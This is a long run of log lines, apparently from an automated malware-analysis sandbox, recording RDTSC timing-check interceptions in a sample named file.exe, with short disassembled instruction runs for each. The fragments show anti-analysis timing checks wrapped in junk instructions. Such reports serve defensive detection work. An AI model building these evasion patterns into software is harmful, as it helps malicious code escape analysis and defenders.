Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81907F second address: 819085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819085 second address: 8190A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F105534B226h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81932A second address: 81932E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81932E second address: 81933C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F105534B216h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81943B second address: 819442 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819589 second address: 81958F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81958F second address: 819593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8195C4 second address: 819607 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F105534B216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F105534B224h 0x0000000f popad 0x00000010 mov dword ptr [esp], esi 0x00000013 call 00007F105534B223h 0x00000018 mov edi, dword ptr [ebp+122D353Dh] 0x0000001e pop edi 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819607 second address: 81961B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A090h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8196B5 second address: 8196B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8196B9 second address: 8196F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F105527A08Ah 0x0000000e jmp 00007F105527A094h 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push eax 0x0000001a pushad 0x0000001b popad 0x0000001c pop eax 0x0000001d pop eax 0x0000001e mov eax, dword ptr [eax] 0x00000020 pushad 0x00000021 jng 00007F105527A08Ch 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819D76 second address: 819D7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819FEE second address: 819FF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819FF4 second address: 819FFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F105534B216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819FFE second address: 81A002 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A129 second address: 81A12D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A12D second address: 81A133 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A133 second address: 81A16F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F105534B224h 0x00000008 jmp 00007F105534B21Eh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F105534B221h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A16F second address: 80112F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A093h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a xor edx, 75119327h 0x00000010 call dword ptr [ebp+122D1A85h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push edi 0x00000019 jmp 00007F105527A095h 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF36A second address: 7DF398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F105534B21Ch 0x00000009 jmp 00007F105534B226h 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007F105534B216h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850015 second address: 85001F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85001F second address: 850023 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850023 second address: 850029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85017D second address: 85018A instructions: 0x00000000 rdtsc 0x00000002 js 00007F105534B216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85018A second address: 850190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850319 second address: 85032C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F105534B21Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850465 second address: 8504AC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007F105527A09Eh 0x0000000e popad 0x0000000f pushad 0x00000010 jmp 00007F105527A08Dh 0x00000015 push eax 0x00000016 push edx 0x00000017 jnc 00007F105527A086h 0x0000001d jmp 00007F105527A08Ah 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8505F0 second address: 8505F9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8508F7 second address: 85091D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b jno 00007F105527A08Eh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jc 00007F105527A086h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85091D second address: 850937 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F105534B21Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850937 second address: 85093C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856D1A second address: 856D20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856D20 second address: 856D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855AD6 second address: 855AE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855DBA second address: 855DBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8565BF second address: 8565DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F105534B216h 0x0000000a push esi 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F105534B220h 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8565DD second address: 8565E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F105527A086h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8565E9 second address: 8565F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856755 second address: 856768 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F105527A08Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859543 second address: 859548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85EFC2 second address: 85EFE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F105527A08Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F105527A08Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85EFE3 second address: 85F037 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105534B220h 0x00000007 pushad 0x00000008 jmp 00007F105534B222h 0x0000000d jmp 00007F105534B221h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F105534B224h 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85F037 second address: 85F05C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F105527A086h 0x00000008 jng 00007F105527A086h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F105527A091h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6D8A second address: 7D6DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 pushad 0x0000000a jl 00007F105534B216h 0x00000010 pushad 0x00000011 popad 0x00000012 jng 00007F105534B216h 0x00000018 jmp 00007F105534B226h 0x0000001d popad 0x0000001e pushad 0x0000001f jns 00007F105534B216h 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6DC4 second address: 7D6DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6DCD second address: 7D6DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85E405 second address: 85E409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85E87E second address: 85E882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85ECD7 second address: 85ECDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85ECDD second address: 85ECE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8688B8 second address: 8688BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8688BC second address: 8688C6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F105534B216h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DD902 second address: 7DD939 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A093h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F105527A096h 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007F105527A086h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DD939 second address: 7DD952 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F105534B216h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DD952 second address: 7DD95E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F105527A086h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DD95E second address: 7DD964 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8684A7 second address: 8684B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A08Ah 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86861E second address: 868622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B148 second address: 86B155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B155 second address: 86B159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B159 second address: 86B176 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A099h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B176 second address: 86B1AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F105534B224h 0x0000000e jmp 00007F105534B228h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B1AB second address: 86B1C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F105527A086h 0x0000000a jmp 00007F105527A093h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B491 second address: 86B49B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F105534B216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B49B second address: 86B4B2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 je 00007F105527A086h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B4B2 second address: 86B4B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870CB5 second address: 870CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870CBB second address: 870CE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105534B229h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnl 00007F105534B216h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870115 second address: 870122 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jl 00007F105527A086h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870122 second address: 87015F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F105534B222h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F105534B21Eh 0x00000015 pushad 0x00000016 popad 0x00000017 jc 00007F105534B216h 0x0000001d jnp 00007F105534B224h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87015F second address: 870164 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8702CD second address: 87032B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F105534B21Fh 0x00000009 jno 00007F105534B216h 0x0000000f popad 0x00000010 pushad 0x00000011 ja 00007F105534B216h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 push eax 0x0000001a pop eax 0x0000001b popad 0x0000001c popad 0x0000001d pushad 0x0000001e jnc 00007F105534B231h 0x00000024 push esi 0x00000025 pop esi 0x00000026 jmp 00007F105534B229h 0x0000002b jmp 00007F105534B21Fh 0x00000030 push eax 0x00000031 push edx 0x00000032 push edi 0x00000033 pop edi 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87032B second address: 87033E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A08Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870612 second address: 870621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F105534B21Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870621 second address: 870625 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870625 second address: 87062B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87062B second address: 870635 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F105527A086h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870635 second address: 87064C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F105534B21Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8708DD second address: 8708FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F105527A098h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8708FE second address: 870902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8762E0 second address: 8762E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8765E8 second address: 8765F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F105534B21Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8767BD second address: 8767CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 push edx 0x00000008 ja 00007F105527A086h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87690E second address: 87691E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F105534B21Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87691E second address: 876922 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 876922 second address: 87692F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87692F second address: 876933 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 876933 second address: 876946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F105534B216h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop ebx 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 876946 second address: 87694C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87A7AD second address: 87A7C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105534B21Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87A7C2 second address: 87A7CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87A7CF second address: 87A7D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87A7D5 second address: 87A7E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jbe 00007F105527A08Ch 0x0000000b jl 00007F105527A086h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87A7E6 second address: 87A7F2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883203 second address: 88320E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88320E second address: 883214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
